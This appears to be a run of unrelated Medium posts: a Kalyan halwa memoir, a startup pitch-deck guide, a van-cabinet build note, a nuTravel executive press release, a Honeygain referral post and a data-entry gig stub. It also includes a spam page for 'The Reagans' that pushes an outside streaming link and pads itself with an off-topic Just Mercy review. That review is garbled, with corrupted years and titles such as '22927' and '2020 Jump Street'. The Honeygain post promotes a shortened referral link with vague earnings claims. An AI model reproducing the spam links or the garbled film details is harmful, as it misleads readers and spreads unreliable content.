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Engagement Halwa
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ENGAGEMENT HALWA
Mouthwatering Memories of the unique Sweet Delicacy from Kalyan
By
VIKRAM KARVE
__________
From my Foodie Archives:
Prior to the advent of the “white revolution” — non-milk sweets like Mysore-Pak, Balushahi, Sutarfeni, Mahim-Halwa etc were quite popular.
More than 10 years ago — in the monsoon of 2010 — we college classmates had a get-together in Lonavala.
Many of us (especially those who had migrated abroad) were meeting after more than 33 years.
It was at this occasion where I first tasted a rather unique Halwa called “Engagement Halwa” specially brought for us by a classmate from Kalyan
(Engagement Halwa is also called “Kalyan Halwa” or “Mangani Halwa”)
Let me tell you about it
FOODIE MEMORIES — ENGAGEMENT HALWA
When I was a small boy, in the 1960s, Pune was a beautiful verdant town, laid back, with a lot of soothing greenery, a nice place to live in a salubrious pensioner’s paradise.
Yes, Pune was more of a pensioner’s paradise, a place for good education and a beautiful tranquil place to live in.
One travelled by the railways, and in those days there were no direct trains from Pune to the “upcountry”.
So one caught the Deccan Express from Pune in the afternoon and got down at Kalyan Junction in the evening.
At Kalyan you had dinner in the Railway Dining Room and waited for one of the famous Mail trains, like the Calcutta Mails via Nagpur or Allahabad or the Punjab Mail, or the late night express trains, which would come from Mumbai and take you to your destination in the upcountry.
That’s all I knew about Kalyan — its famous Railway Station with well maintained and comfortable waiting rooms and the decent dining room which used to serve sumptuous meals.
For years we passed through Kalyan, yet we never explored what lay beyond the railway station.
Did the city have a heritage, a culture, a cuisine…?
So I was most pleasantly surprised when at a recent Alumni meet in Lonavala, Sateesh Pol told us that he lives in Kalyan and we were most happy when he introduced us to the unique specialty of his town — Kalyan Halwa.
Now I am sure you know what Halwa is…!
Maybe — as you read this, you are relishing a plate of your favourite Sooji (also called Shira made from Semolina or Rava and Ghee) Halwa — or Doodhi (Pumpkin) Halwa — or maybe Gajar (Carrot) ka Halwa.
Halwa is a dessert made from various kinds of fruits, vegetables, grains and lentils.
The ingredients in Halwa are grated finely and fried in ghee and sugar.
Nuts and milk may also be added.
Halwa has the consistency of a very thick pudding.
Halwa is the name given to a huge range of sweets made in the Middle East, Central Asia and India.
The word itself comes from the Arabic word for sweet: “Hulw”
In the seventh century — hulw was a paste of Dates that was kneaded with milk — which eventually evolved into other forms — including stiffer confections made with wheat or semolina flour and sweetened with fruit paste, syrup or honey and flavoured with nuts, spices or even rose water before deep-frying.
Soon local improvisations were introduced in recipes for halwa and each place had its own unique halwa.
Middle Eastern Halwa can be made with nuts, dried fruits, yoghurt, honey and spices.
In Turkey and Greece — Halwa is made without grain and is made with cooked egg, syrup, nuts and sometimes fruit.
In India there are many varieties and assortments of a range of halwas.
The word “Halwai” (Sweetseller) is probably derived from the word Halwa — and this indicates the popularity of halwa.
I am sure you have tasted the ubiquitous Sooji Halwa and Satyanarayan Halwa (Shira with bananas) — Doodhi Halwa — Gajar Halwa — and also famous local specialities like the delicate melt-in-the-mouth slabs of Mahim Halwa or Ice Halwa — the deliciously satiating Badami Halwa — the tasty and nourishing Kozhikode (Kerala) Halwa — different versions of delicious fruit and vegetable halwa — and the various types of rich wholesome halwa made from cashewnuts, almonds and dryfuits and full of nourishing pure ghee.
But let me tell you — the Kalyan Halwa that Sateesh Pol had got for us was truly superb — well I can say that it is one of the best halwas I have ever tasted.
The slab of Kalyan Halwa — which Sateesh had got from Anant Halwai in Kalyan — was nicely packed in airtight foil on which the words “Engagement Halwa” were written.
Sateesh explained that this halwa is so popular that it is distributed during engagement ceremonies and so Kalyan Halwa is also called Mangani Halwa or Engagement Halwa (“Mangani” means engagement in Hindi)
Let me tell you that “Engagement Halwa” is really superb.
It is truly delicious — sumptuously rich, embellished with copious quantity of dry fruits — and prepared in pure ghee.
The aromatic “Engagement Halwa” tastes luxuriant and imparts a wonderful flavour and leaves a very lingering aftertaste which is exceptionally pleasing — a scent of lovely fragrance on your palate and a satiating feeling of delightful gratification.
Well — Sateesh Pol had brought Anant Halwai’s famous Shrikhand too — which was also top class — creamy and lip smacking — but then — I have had equally good Shrikhand in Pune and other places too.
It was the inimitable “Engagement Halwa” from Kalyan — a true signature delicacy — which was truly distinctive and matchless — a feast worthy of Kings…!!!
So — Dear Reader — the next time you are in Kalyan — or a friend from Kalyan visits you — make sure you try out Kalyan’s unique “Engagement Halwa”.
Do remember to tell us how you liked it.
And — Dear Reader — do tell us about your favourite Halwa too — and the food speciality of your hometown.
Happy Eating.
VIKRAM KARVE
Copyright © Vikram Karve
1. If you share this post, please give due credit to the author Vikram Karve
2. Please DO NOT PLAGIARIZE. Please DO NOT Cut/Copy/Paste this post
© vikram karve., all rights reserved.
Disclaimer:
1. This story is a spoof, satire, pure fiction, just for fun and humor, no offence is meant to anyone, so take it with a pinch of salt and have a laugh.
2. All stories in this blog are a work of fiction. Events, Places, Settings and Incidents narrated in the stories are a figment of my imagination. The characters do not exist and are purely imaginary. Any resemblance to persons, living or dead, is purely coincidental.
Copyright Notice:
No part of this Blog may be reproduced or utilized in any form or by any means, electronic or mechanical including photocopying or by any information storage and retrieval system, without permission in writing from the Blog Author Vikram Karve who holds the copyright.
Copyright © Vikram Karve (All Rights Reserved)
© vikram karve., all rights reserved.
This is a revised version of my post ENGAGEMENT HALWA first posted online at url: http://karvediat.blogspot.in/2010/08/engagement-halwa.html and http://karvediat.blogspot.in/2012/03/engagement-halwa-sweet-delicacy-from.html and http://karvediat.blogspot.in/2012/06/engagement-halwa-mouthwatering-memories.html and http://karvediat.blogspot.com/2016/10/foodie-memories-engagement-halwa.html and http://karvediat.blogspot.com/2021/01/foodie-memories-engagement-halwa.html etc
© vikram karve., all rights reserved.
|
https://medium.com/@vikramkarve/engagement-halwa-1c2287966af2
|
['Vikram Karve']
|
2021-01-23 20:27:36.435000+00:00
|
['Travel', 'Halwa', 'Food', 'Foodies', 'Memories']
|
How to write a good pitch deck for early-stage startups
|
Intro
If you are a founder who recently started their first startup, then the topic of writing a pitch deck has most likely already become relevant for you (or will very soon). Writing a good pitch deck takes time but it will help you in many ways, both internally and externally. Internally because it will help to challenge your main assumptions on why you are building this specific startup and externally because a pitch deck is a great tool to present/pitch your startup to early outside stakeholders. These can include potential co-founders, investors, pilot customers or accelerator programs. Pitching your startup and idea to others in the early stages can be very difficult and thus a good pitch deck can support you in convincing others to follow you on your journey.
Many founders do not fully utilize this opportunity because they do not have a good pitch deck, be it unstructured, complicated or missing information. If externals are not able to understand or follow your pitch deck, it conveys a negative signal and therefore hinders the success chances of your startup. This pitch deck guide gives you the fundamentals that will help you create a great pitch deck independent of the specific content.
Note on differences between pitch decks you present in person and those you sent out via email. This pitch deck guide is focusing on the content and the design of the slide, not the presentation style in front of an audience. The presentation style is also important but another topic that needs to be addressed separately. Generally speaking, a pitch deck can have different purposes (winning a customer or raising money from investors) and you should always be clear with respect to what your target is.
The team at STARTPLATZ created a template for a pitch deck that includes many of the tips that are written in the following guide. Feel free to use it as an inspiration. You can find it here: Link to pitch deck template
📖 Telling an interesting story
Whether you send your pitch deck via email (typically, investors spend 2–3 minutes on a pitch deck) or present it in front of an audience (the attention span is now down to 8 seconds, link), people have a very short attention span these days and get distracted if your pitch deck does not catch their attention. Therefore it is helpful to build your pitch deck around a specific storyline that supports your argument on why you started this company and why you want to solve this specific problem. In a good story a person or company faces the specific problem you are solving, therefore your startup improves their lives by solving this problem. Humans are triggered by stories because stories have always been the main format that uses emotions. The story you are telling should therefore trigger the reader’s emotions, as this can enhance their reading experience. It is crucial to include various elements of emotion in your written pitch deck that you send out via email, even if the story is harder to portray than if you were pitching it live on stage.
✅ Use a logical structure that follows a thread
A good pitch deck should make logical sense when you read it from the beginning to the end. That means each slide builds upon the information of the previous slides and strengthens the argument on why your startup has a high potential. Remember, this should still feel like a story and not like a list of boring slides. Boring slides mean a lot of text and too much information.
A logical structure may look like the following example:
COVER — Use a strong picture and a very short sentence to give the reader an initial idea about what you are doing. What is the essence of your startup? PROBLEM — Explain and if necessary quantify the problem you are solving. Who is facing the problem? Why is it relevant? How is this problem being solved today? SOLUTION — Now that the problem is understood, is there a solution that can fix or mitigate it? What exactly does your solution do? Why is it a good solution? Why now? MARKET — OK, there is a relevant problem and you have a good solution for it. But is there a big enough market for it? Is the market growing? Specify TAM, SAM and SOM. BUSINESS MODEL — Now the reader knows that there is a big enough market to justify going after it (or it is growing so fast, that it is attractive enough). Is it possible to monetise this? How do you plan to make money? COMPETITION — Alright. There is a market and you can make money. How about the competition? What sets you apart from other companies in this space and/or from substitutive solutions? There is almost always competition, even if it is just a small startup on the other side of the world. GO TO MARKET — Cool, you seem to have an interesting opportunity here. How are you planning to acquire customers and get market adoption? Depending on whether you are B2B or B2C focused, it is important to show the relevant channels and strategies here. STATUS QUO/TRACTION — Now that you have covered many important parts: What is your status quo? How many users do you have? Are you already making money? If you are a B2C company, make sure to show your CAC and CLTV. ROAD MAP — What is the roadmap ahead? How do you want to scale? TEAM — The most important part of any early-stage startup. Who is the team behind this idea? And what makes them uniquely skilled to execute on this problem? Do they have the key positions covered? (Some pitch deck guides will place the team slide in the beginning of the pitch deck but in my opinion, it is helpful to elaborate on all aspects of the startup first, before introducing the team. This allows the reader to identify whether the team’s professional expertise is suitable for the execution of this problem.) The ASK — What do you want from the reader? An investment? Customers? Have one slide at the end with a call to action. SUMMARY — You can wrap up the pitch deck with a summary and — very important — your contact data including your email and website.
Using this kind of logical structure immensely helps the reader to follow your story and argumentation.
👀 Thinking about the reader’s perspective
Who is the audience and how much do they already know about your business, market or customers? How much do they need to know? Throughout your whole presentation it is crucial that you always put yourself in the perspective of the reader or listener. In general, the reader will know much less about the problem you are solving than you. That means, it is always useful to keep your pitch deck simple to understand and also not filled with too much information. Most of that is probably not super relevant to the reader in the beginning. Remember that a good pitch deck is often just the key to getting a second meeting or call in which you can go into more detail.
Depending on your audience, you can use different versions of the pitch so that it is tailored more specifically: If you’re pitching to investors, your main goal should be to show that your startup has the potential to scale rapidly and for a billion-dollar exit. You need to include information such as competition in this scenario. Also, investors often know many industries and you don’t need several slides explaining the problem you are solving. They get it. When pitching to potential customers, however, it’s much more important to go more in depth on your product offering. In this version, you probably do not want to show them all potential competitors.
🎨 Design versus content
The design and layout of your pitch deck are as important as your content but often do not receive the equal amount of love. A bad design distracts you from the content itself and is confusing. A great design doubles down on the content provided by making the content easier to read, easier to understand and easier to follow, supplementing the logical structure provided before.
In fact, the content itself is made up of design. The text on your slides can be influenced by many factors such as the position on the slide, the size, the intensity, the colour or the font. So what are some design features that you should think about when creating a pitch deck? Here are three design features that will go a long way:
1. White space as a guidance tool
The most important space is the one you don’t use. Think about a slide with a lot of information. It is very difficult to focus on what to look at and read first. You want to use lots of empty space instead to guide the viewer’s attention towards the important parts of the slide (similar concepts apply to websites). As a founder, you often feel like there is a lot of information you want to convey that you want to share and need to cover. That is why many startup pitch decks feel overly stuffed and sometimes chaotic. Don’t do that and use space to guide your reader.
2. Colour matching
If you look at a very well-done pitch deck, you will see a common theme when it comes to colour picking throughout the presentation. Only very few colours are used and they support each other. It is also helpful to use one colour that generally highlights key points or visually guides the reader through the slides. For that, you don’t necessarily need to have a complete CI (corporate identity) document ready but it is advisable to stick to two to three colours max throughout the pitch deck. An easy start here is to decide on your main colour and then use the colour wheel. Mark your main colour and then look at the opposite colour on the wheel for the complementary colour. Another option is to pick the two colours to the left and to the right of your main colour, called analogous. Or you pick two colours that form a triangle with your main colour, called triad. According to color theory these combinations work best. This should give you a good enough start and obviously you can then use various intensity levels of the colours that you picked to add certain emphasis.
3. Icons and pictures or screenshots
Visual elements such as icons, pictures, or product screenshots can make a pitch deck much more appealing to look at, as well as help you deliver the message more easily. Humans can understand pictures faster than text and emotions are transferred much easier. You should therefore use this to your advantage. Specific parts in the pitch decks where this makes more sense are for example: The problem slide, the solution slide or the business model slide. It works better for some startups and industries than others. So play around and see what works for you.
Note: It is generally good to have (at least) two versions of the pitch deck, one for sending out and one for presenting in front of an audience. If you are presenting in front of an audience, you can keep the slides even cleaner and focus mainly on visuals, everything else you will explain verbally.
🚫 Common mistakes
Important info is missing. Often: competition and go-to-market slides.
Too many slides. Try to keep it at around 12 slides.
Too much info/content on some slides. Don’t confuse the reader, help them focus on the most important points instead. You want to create curiosity to get a follow-up meeting/call, not dump all info at once.
Slides are in the wrong order, thus making it harder to follow the logical flow and structure of the pitch deck (see B)
The design is ugly or distracts too much from the content
Ambitions are too low. This is a specific problem for mainland European startups. You should aim high if you want to convince investors, meaning setting high goals for yourself and show that you as the team are hungry to execute
🤓 Final advice
Your pitch deck is a never-ending document and requires constant iteration and improvement. So don’t worry if it is not perfect, it will probably never be and many people will have opinions about it. If you can manage to keep it clean and simple, clearly convey your vision and make it easy to understand, you have a higher chance of succeeding with your investor or customer meetings. This guide hopefully helps you to avoid some mistakes and gives you some useful tips on how to improve your pitch deck.
As a best practice for pitch deck, you often come across the deck that AirBnb used to raise their Seed round. It is indeed very clean and simple and you can study it in detail here: link.
Many thanks to the following people for feedback on the draft: Emmet, Victoria, Marius and Johannes.
About us
STARTPLATZ accelerator is all about execution speed, rapid testing and user growth. We have a unique two-phase accelerator program with 16 weeks of curated high-quality expert sessions, run by our mentors. Furthermore, participating startups meet in weekly founder sessions where they have to show weekly progress. Finally, we put a lot of focus on fundraising, introducing the startups to relevant investors & much more.
You can find out more about the STARTPLATZ Accelerator here: Link to website
This article was originally published on: https://www.startplatz.de/pitch-deck-guide/
|
https://medium.com/@lukassg/how-to-write-a-good-pitch-deck-for-early-stage-startups-dfb36529c095
|
['Lukas G']
|
2021-07-05 09:20:17.360000+00:00
|
['Startup', 'Investors', 'Pitch Deck', 'Technology', 'Pitch']
|
Cabinets Pt. 1, Day 12
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December 17, 2020
Story time: many a year ago, my father had a colleague that had some cherry trees that were felled after a strong storm. To make the best of the situation, his coworker called a lumber mill to come on site to cut the fallen trees into planks. Legend has it, he went on to refine that raw material and built a beautiful dining table. My father was then gifted three planks of the remaining cherry, with the plan of also constructing a dining table of his own. This gift, however, was tucked away for a decade and a half in our backyard shed.. not to see the light until today.
Raw cherry
The vision for these planks had changed from being made into a grand dining table to becoming the wood surfaces of our multi-purpose dining table and all our van’s cabinetry. In order to do so, they had to be further processed into workable material via specialized woodworking equipment — a planer and jointer.
|
https://medium.com/@the-magno-mobile/cabinets-pt-1-day-12-92d83efcf2bd
|
['The Magno-Mobile']
|
2020-12-21 03:39:56.670000+00:00
|
['DIY', 'Conversion Van', 'Vanlife', 'Campervan', 'Projects']
|
nuTravel welcomes Michael Harbin as Chief Strategy Officer and Executive Vice President
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nuTravel welcomes Michael Harbin as Chief Strategy Officer and Executive Vice President nuTravel Follow Sep 2 · 2 min read
Harbin will support nuTravel in setting strategic direction for the company’s technology, product and commercial efforts.
Purchase, New York — September 2, 2021 — nuTravel, a leading developer of airline retailing solutions, has named Michael Harbin as Chief Strategy Officer and Executive Vice President. Harbin will support nuTravel in setting strategic direction for the company’s technology, product, and commercial efforts.
Michael Harbin, Chief Strategy Officer and Executive Vice President, nuTravel
Harbin previously held strategic and technology-focused leadership roles at Hopper, Orbitz and Travelport, and has co-founded successful start-ups, including G2 Switchworks. More recently, Harbin was the Chief Technology Officer for VacayHome Connect, a Chicago-based vacation rental distribution company, and the co-founder of Options Open, a mobile app that uses video technology to connect job seekers and recruiters in a more equitable, innovative hiring process.
“Michael is a well-rounded executive with a wealth of experience in travel and technology,” said Carmine Carpanzano, nuTravel Co-Founder, President and CEO. “His passion for innovation will ensure nuTravel delivers ground-breaking corporate travel booking and management.”
nuTravel’s Universal Connect has recently been gaining customers, with American Airlines signing on in June and additional airlines currently working to implement the solution. As of 2020, nuTravel is an independent subsidiary of Airlines Reporting Corporation (ARC).
About nuTravel
Since 2002, nuTravel has led the charge for technology innovation throughout the corporate travel industry. Its newest offering — Universal Connect — marks the first and only direct-distribution platform for business travel; the web-based platform seamlessly integrates robust corporate travel management functionality and data-sharing capabilities with suppliers’ consumer web and mobile applications. Partnered with nuTravel and powered by Universal Connect, suppliers can truly own and grow the corporate customer experience from within their existing brand channels, delivering a unified marketplace that optimizes revenue streams and products not available via traditional models. For more information, visit nuTravel.com.
About ARC
As a leader in air travel intelligence and omnichannel retailing, ARC provides platforms, tools and insights that help the global travel community connect, grow and thrive. ARC enables the diverse retailing strategies of its customers by providing innovative technology, flexible settlement solutions and access to the world’s most comprehensive air transaction dataset. In 2019, ARC managed more than $97.4 billion in transactions between airlines and travel agencies, representing more than 302 million passenger trips. For more information, please visit arccorp.com.
Contact:
Joe Ascanio
914.848.4566 x220
[email protected]
Randy Spoon
703.816.5119
[email protected]
|
https://medium.com/nutravel/nutravel-welcomes-michael-harbin-as-chief-strategy-officer-and-executive-vice-president-ffbdbeede3a9
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[]
|
2021-09-02 16:09:55.308000+00:00
|
['Press', 'Staff', 'Airlines']
|
HONEY GAIN REVIEW SCAM OR LEGIT??
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SIGNUP HERE FOR FREE 5$ HONEY GAIN BONUS>>>https://bit.ly/3bKQrSf
WHAT IS HONEY GAIN??
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it is an app that all of those internet gurus talked about it but you all guys knows
that most of those internet gurus scam Is( honey gain legit??)
HOW DOES HONEY GAIN WORKS??
Honey gain uses your data to share with other data scientists. don't get angry if you think that you are safe already and no one is stealing your data then my friend you are wrong chances are google uses your data more than you think.
Let, me give you an example if you use 100 MB every single day it will equal to 1cent
HOW TO DOUBLE DOWN YOUR EARNING??
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HAVE FUN ENJOY YOUR PASSIVE INCOME!!!!!!
|
https://medium.com/@rajputusman090/honey-gain-review-scam-or-legit-ede5fd070aff
|
[]
|
2021-01-16 16:55:43.565000+00:00
|
['Free', 'Affiliate Marketing', 'Passive Income', 'Honeygain', 'Money']
|
Amazon DynamoDB Overview
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Steps to Create Our First DynamoDB Table
First we create a table called users as an example, which the primary key is username.
You will then be directed to the table overview page.
Click Items to create items with JSON format into the table users:
Similarly, add more items to the table
Items tab will show all the contents you have added to. The hobbies attribute which added as List format with two items inside will be displayed as DynamoDB JSON format
To adjust the cost, go to Capacity tab to edit the Read & Write capacity units. Here I will only use 1 for minimizing the cost.
|
https://medium.com/@journeyst/amazon-dynamodb-overview-6015cd4776dd
|
[]
|
2020-10-26 14:08:09.664000+00:00
|
['Database', 'Amazon', 'Dynamodb', 'Amazon Web Services', 'NoSQL']
|
<s1::Ep4> The Reagans /Series 1 Episode 4\ ~ Tv-Online
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Show Info
Name Episode : Part 4 — In the Stars
Network : Showtime
Genres : Documentary
🔴 Now Streaming :: https://Serienstream.site/tv/110334-1-4/The-Reagans.html
The Reagans explores the many surprisingly unexamined aspects of the Reagan White House, and how Nancy Reagan’s paper-doll image was at odds with the power she ultimately wielded throughout her husband’s presidency.
⚜ The Reagans Season 1 Episode 4 [4KHD Quality]
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The Reagans explores the many surprisingly unexamined aspects of the Reagan White House, and how Nancy Reagan’s paper-doll image was at odds with the power she ultimately wielded throughout her husband’s presidency.
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❖Enjoy And Happy Watching❖
✓ I do not Showtime this song or the Image, all credit goes,
It’s so Awesome. Subscribe and Share with your friends! to my channel. See for more videos!!. I want to say ‘thank you’ for being the friend!!
Atelevision show (often simply TV show) is any content produced for broadcast via over-the-air, satellite, cable, or internet and typically viewed on a television set, excluding breaking news, advertisements, or trailers that are typically placed Showtime Oneween shows. Television shows are most often scheduled well ahead of time and appear on electronic guides or other TV listings.
THE STORY
After graduating from Harvard, Bryan Stevenson (Michael B. Jordan) forgoes the standard opportunities of seeking employment from big and lucrative law firms; deciding to head to Alabama to defend those wrongfully commended, with the support of local advocate, Eva Ansley (Brie Larson). One of his first, and most poignant, case is that of Walter McMillian (Jamie Foxx, who, in 22927, was sentenced to die for the notorious murder of an 27-year-old girl in the community, despite a preponderance of evidence proving his innocence and one singular testimony against him by an individual that doesn’t quite seem to add up. Bryan begins to unravel the tangled threads of McMillian’s case, which becomes embroiled in a relentless labyrinth of legal and political maneuverings and overt unabashed racism of the community as he fights for Walter’s name and others like him.
THE GOOD / THE BAD
Throughout my years of watching movies and experiencing the wide variety of cinematic storytelling, legal drama movies have certainly cemented themselves in dramatic productions. As I stated above, some have better longevity of being remembered, but most showcase plenty of heated courtroom battles of lawyers defending their clients and unmasking the truth behind the claims (be it wrongfully incarcerated, discovering who did it, or uncovering the shady dealings behind large corporations. Perhaps my first one legal drama was 2020’s The Client (I was little young to get all the legality in the movie, but was still managed to get the gist of it all). My second one, which I loved, was probably Helstrom Fear, with Norton delivering my favorite character role. Of course, I did see To Kill a Mockingbird when I was in the sixth grade for English class. Definitely quite a powerful film. And, of course, let’s not forget Philadelphia and want it meant / stand for. Plus, Hanks and Washington were great in the film. All in all, while not the most popular genre out there, legal drama films still provide a plethora of dramatic storytelling to capture the attention of moviegoers of truth and lies within a dubious justice.
Just Mercy is the latest legal crime drama feature and the whole purpose of this movie review. To be honest, I really didn’t much “buzz” about this movie when it was first announced (circa 2020) when Broad Green Productions hired the film’s director (Cretton) and actor Michael B. Jordan in the lead role. It was then eventually bought by Warner Bros (the films rights) when Broad Green Productions went Bankrupt. So, I really didn’t hear much about the film until I saw the movie trailer for Just Mercy, which did prove to be quite an interesting tale. Sure, it sort of looked like the generic “legal drama” yarn (judging from the trailer alone), but I was intrigued by it, especially with the film starring Jordan as well as actor Jamie Foxx. I did repeatedly keep on seeing the trailer for the film every time I went to my local movie theater (usually attached to any movie I was seeing with a PG rating and above). So, suffice to say, that Just Mercy’s trailer preview sort of kept me invested and waiting me to see it. Thus, I finally got the chance to see the feature a couple of days ago and I’m ready to share my thoughts on the film. And what are they? Well, good ones….to say the least. While the movie does struggle within the standard framework of similar projects, Just Mercy is a solid legal drama that has plenty of fine cinematic nuances and great performances from its leads. It’s not the “be all to end all” of legal drama endeavors, but its still manages to be more of the favorable motion pictures of these projects.
Just Mercy is directed by Destin Daniel Cretton, whose previous directorial works includes such movies like Short Term 2020, I Am Not a Hipster, and Glass Castle. Given his past projects (consisting of shorts, documentaries, and a few theatrical motion pictures), Cretton makes Just Mercy is most ambitious endeavor, with the director getting the chance to flex his directorial muscles on a legal drama film, which (like I said above) can manage to evoke plenty of human emotions within its undertaking. Thankfully, Cretton is up to the task and never feels overwhelmed with the movie; approaching (and shaping) the film with respect and a touch of sincerity by speaking to the humanity within its characters, especially within lead characters of Stevenson and McMillian. Of course, legal dramas usually do (be the accused / defendant and his attorney) shine their cinematic lens on these respective characters, so it’s nothing original. However, Cretton does make for a compelling drama within the feature; speaking to some great character drama within its two main lead characters; staging plenty of moments of these twos individuals that ultimately work, including some of the heated courtroom sequences.
Like other recent movies (i.e. Brian Banks and The Hate U Give), Cretton makes Just Mercy have an underlining thematical message of racism and corruption that continues to play a part in the US….to this day (incredibly sad, but true). So, of course, the correlation and overall relatively between the movie’s narrative and today’s world is quite crystal-clear right from the get-go, but Cretton never gets overzealous / preachy within its context; allowing the feature to present the subject matter in a timely manner and doesn’t feel like unnecessary or intentionally a “sign of the times” motif. Additionally, the movie also highlights the frustration (almost harsh) injustice of the underprivileged face on a regular basis (most notable those looking to overturn their cases on death row due to negligence and wrongfully accused). Naturally, as somewhat expected (yet still palpable), Just Mercy is a movie about seeking the truth and uncovering corruption in the face of a broken system and ignorant prejudice, with Cretton never shying away from some of the ugly truths that Stevenson faced during the film’s story.
Plus, as a side-note, it’s quite admirable for what Bryan Stevenson (the real-life individual) did for his career, with him as well as others that have supported him (and the Equal Justice Initiative) over the years and how he fought for and freed many wrongfully incarcerated individuals that our justice system has failed (again, the poignancy behind the film’s themes / message). It’s great to see humanity being shined and showcased to seek the rights of the wronged and to dispel a flawed system. Thus, whether you like the movie or not, you simply can not deny that truly meaningful job that Bryan Stevenson is doing, which Cretton helps demonstrate in Just Mercy. From the bottom of my heart…. thank you, Mr. Stevenson.
In terms of presentation, Just Mercy is a solidly made feature film. Granted, the film probably won’t be remembered for its visual background and theatrical setting nuances or even nominated in various award categories (for presentation / visual appearance), but the film certainly looks pleasing to the eye, with the attention of background aspects appropriate to the movie’s story. Thus, all the usual areas that I mention in this section (i.e. production design, set decorations, costumes, and cinematography) are all good and meet the industry standard for legal drama motion pictures. That being said, the film’s score, which was done by Joel P. West, is quite good and deliver some emotionally drama pieces in a subtle way that harmonizes with many of the feature’s scenes.
There are a few problems that I noticed with Just Mercy that, while not completely derailing, just seem to hold the feature back from reaching its full creative cinematic potential. Let’s start with the most prevalent point of criticism (the one that many will criticize about), which is the overall conventional storytelling of the movie. What do I mean? Well, despite the strong case that the film delves into a “based on a true story” aspect and into some pretty wholesome emotional drama, the movie is still structed into a way that it makes it feel vaguely formulaic to the touch. That’s not to say that Just Mercy is a generic tale to be told as the film’s narrative is still quite engaging (with some great acting), but the story being told follows quite a predictable path from start to finish. Granted, I never really read Stevenson’s memoir nor read anything about McMillian’s case, but then I still could easily figure out how the movie was presumably gonna end…. even if the there were narrative problems / setbacks along the way. Basically, if you’ve seeing any legal drama endeavor out there, you’ll get that same formulaic touch with this movie. I kind of wanted see something a little bit different from the film’s structure, but the movie just ends up following the standard narrative beats (and progressions) of the genre. That being said, I still think that this movie is definitely probably one of the better legal dramas out there.
This also applies to the film’s script, which was penned by Cretton and Andrew Lanham, which does give plenty of solid entertainment narrative pieces throughout, but lacks the finesse of breaking the mold of the standard legal drama. There are also a couple parts of the movie’s script handling where you can tell that what was true and what fictional. Of course, this is somewhat a customary point of criticism with cinematic tales taking a certain “poetic license” when adapting a “based on a true story” narrative, so it’s not super heavily critical point with me as I expect this to happen. However, there were a few times I could certainly tell what actually happen and what was a tad bit fabricated for the movie. Plus, they were certain parts of the narrative that could’ve easily fleshed out, including what Morrison’s parents felt (and actually show them) during this whole process. Again, not a big deal-breaker, but it did take me out of the movie a few times. Lastly, the film’s script also focuses its light on a supporting character in the movie and, while this made with well-intention to flesh out the character, the camera spotlight on this character sort of goes off on a slight tangent during the feature’s second act. Basically, this storyline could’ve been removed from Just Mercy and still achieve the same palpability in the emotional department. It’s almost like the movie needed to chew up some runtime and the writers to decided to fill up the time with this side-story. Again, it’s good, but a bit slightly unnecessary.
What does help overlook (and elevate) some of these criticisms is the film’s cast, which are really good and definitely helps bring these various characters to life in a theatrical /dramatic way. Leading the charge in Just Mercy is actor Michael B. Jordan, who plays the film’s central protagonist role of Bryan Stevenson. Known for his roles in Creed, Fruitvale Station, and Black Panther, Jordan has certain prove himself to be quite a capable actor, with the actor rising to stardom over the past few years. This is most apparent in this movie, with Jordan making a strong characteristically portrayal as Bryan; showcasing plenty of underlining determination and compelling humanity in his character as he (as Bryan Stevenson) fights for the injustice of those who’s voices have been silenced or dismissed because of the circumstances. It’s definitely a strong character built and Jordan seems quite capable to task in creating a well-acted on-screen performance of Bryan. Behind Jordan is actor Jamie Foxx, who plays the other main lead in the role, Walter McMillian. Foxx, known for his roles in Baby Driver, Django Unchained, and Ray, has certainly been recognized as a talented actor, with plenty of credible roles under his belt. His participation in Just Mercy is another well-acted performance that deserve much praise as its getting (even receiving an Oscar nod for it), with Foxx portraying Walter with enough remorseful grit and humility that makes the character quite compelling to watch. Plus, seeing him and Jordan together in a scene is quite palpable and a joy to watch.
The last of the three marquee main leads of the movie is the character of Eva Ansley, the director of operations for EJI (i.e. Stevenson’s right-handed employee / business partner), who is played by actress Brie Larson. Up against the characters of Stevenson and McMillian, Ansley is the weaker of the three main lead; presented as supporting player in the movie, which is perfectly fine as the characters gets the job done (sort of speak) throughout the film’s narrative. However, Larson, known for her roles in Room, 2020 Jump Street, and Captain Marvel, makes less of an impact in the role. Her acting is fine and everything works in her portrayal of Eva, but nothing really stands in her performance (again, considering Jordan and Foxx’s performances) and really could’ve been played by another actress and achieved the same goal.
The rest of the cast, including actor Tim Blake Nelson (The Incredible Hulk and O Brother, Where Art Thou) as incarcerated inmate Ralph Meyers, actor Rafe Spall (Jurassic World: Fallen Kingdom and The Big Short) as legal attorney Tommy Champan, actress Karan Kendrick (The Hate U Give and Family) as Minnie McMillan, Walter’s wife, actor C.J. LeBlanc (Arsenal and School Spirts) as Walter’s son, John McMillian, actor Rob Morgan (Stranger Things and Mudbound) as death role inmate Herbert Richardson, actor O’Shea Jackson Jr. (Long Shot and Straight Outta Compton) as death role inmate Anthony “Ray” Hinton, actor Michael Harding (Triple 9 and The Young and the Restless) as Sheriff Tate, and actor Hayes Mercure (The Red Road and Mercy Street) as a prison guard named Jeremy, are in the small supporting cast variety. Of course, some have bigger roles than others, but all of these players, which are all acted well, bolster the film’s story within the performances and involvement in Just Mercy’s narrative.
FINAL THOUGHTS
It’s never too late to fight for justice as Bryan Stevenson fights for the injustice of Walter McMillian’s cast against a legal system that is flawed in the movie Just Mercy. Director Destin Daniel Cretton’s latest film takes a stance on a poignant case; demonstrating the injustice of one (and by extension those wrongfully incarcerated) and wrapping it up in a compelling cinematic story. While the movie does struggle within its standard structure framework (a sort of usual problem with “based on a true story” narrations) as well as some formulaic beats, the movie still manages to rise above those challenges (for the most part), especially thanks to Cretton’s direction (shaping and storytelling) and some great performances all around (most notable in Jordan and Foxx). Personally, I liked this movie. Sure, it definitely had its problem, but those didn’t distract me much from thoroughly enjoying this legal drama feature. Thus, my recommendation for the film is a solid “recommended”, especially those who liked the cast and poignant narratives of legality struggles and the injustice of a failed system / racism. In the end, while the movie isn’t the quintessential legal drama motion picture and doesn’t push the envelope in cinematic innovation, Just Mercy still is able to manage to be a compelling drama that’s powerful in its story, meaningful in its journey, and strong within its statement. Just like Bryan Stevenson says in the movie….” If we could look at ourselves closely…. we can change this world for the better”. Amen to that!
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https://medium.com/the-reagans-series-1-episode-4/s1-ep4-the-reagans-series-1-episode-4-tv-online-27ef1e287787
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['Ane Amel']
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2020-12-04 09:03:18.303000+00:00
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['Documentary']
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I will do excel data entry internet research copy paste data entry
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I will do excel data entry internet research copy paste data entry Sathi Akter ·Dec 23, 2020
excel data entry internet research copy paste data entry
Good Day
